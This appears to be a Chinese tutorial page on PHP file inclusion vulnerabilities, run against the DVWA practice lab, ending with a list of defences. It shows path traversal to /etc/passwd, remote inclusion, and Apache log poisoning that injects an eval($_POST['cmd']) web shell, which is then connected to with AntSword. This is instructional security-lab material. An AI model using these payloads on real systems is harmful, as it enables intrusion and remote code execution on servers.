跳到主要内容

文件包含

文件包含漏洞,即引入依赖文件导致的漏洞。开发者习惯将重复的代码、功能封装在一个文件里,然后另外的开发者可以包含该文件,然后执行调用该功能,该过程叫做文件包含。而开发者为了灵活性,将包含的文件设置为变量,去动态加载文件,该动态过程可以被利用而造成文件包含漏洞。

分类

  1. 本地包含:包含服务所在的服务器上的文件
  2. 远程包含:包含非服务所在的服务器上的第三方服务器的文件

PHP 包含函数

  1. include():包含错误抛出警告,程序继续执行
  2. require():包含发生错误直接终止程序运行
  3. include_once():同 include(),不过文件只会被包含一次
  4. require_once():同 require,不过文件只会被包含一次

本地包含

将 DVWA 的 Level 设置为 low,然后访问 File inclusion,该 URL 上路径改为 /etc/passwd

也可以用相对路径,主要是用 ../ ,只要 ../ 足够多就能够达到根目录,比如:

远程包含

在 upload-labs 上传 info.php,内容为 <?php phpinfo(); ?>

得到上传后的链接,然后在 DVWA 中访问:

中间件日志包含

日志文件中有包含请求的信息,因此可以利用日志文件。

首先我们要在日志文件中写入恶意代码:

为了方便测试,先给文件加上权限:

chmod 755 /var/log/apache2/
chmod 644 /var/log/apache2/access.log

接着访问 http://YOUR_ID_ADDRESS:PORT/vulnerabilities/fi/?page=<?php phpinfo();?>

注意 <?php phpinfo();?> 会被 URL 编码,利用 Burp 改回原来:

cat /var/log/apache2/access.log 查看日志文件,可以看到代码已经写入:

访问该日志文件即可执行代码 http://YOUR_IP_ADDRESS:PORT/vulnerabilities/fi/?page=/var/log/apache2/access.log

同样的方式我们使用 POST,访问 http://YOUR_ID_ADDRESS:PORT/vulnerabilities/fi/?page=<?php eval(@$_POST['cmd']);?>

然后打开蚁剑,注意要添加 Cookie:

连接:

防御

1️⃣ 设置白名单

2️⃣ 过滤危险字符

3️⃣ 设置文件目录权限

4️⃣ 关闭危险设置(非必要不设置 allow_url_includeallow_url_fopen

5️⃣ 严格检查 include 类的文件包含函数中的参数是否外界可控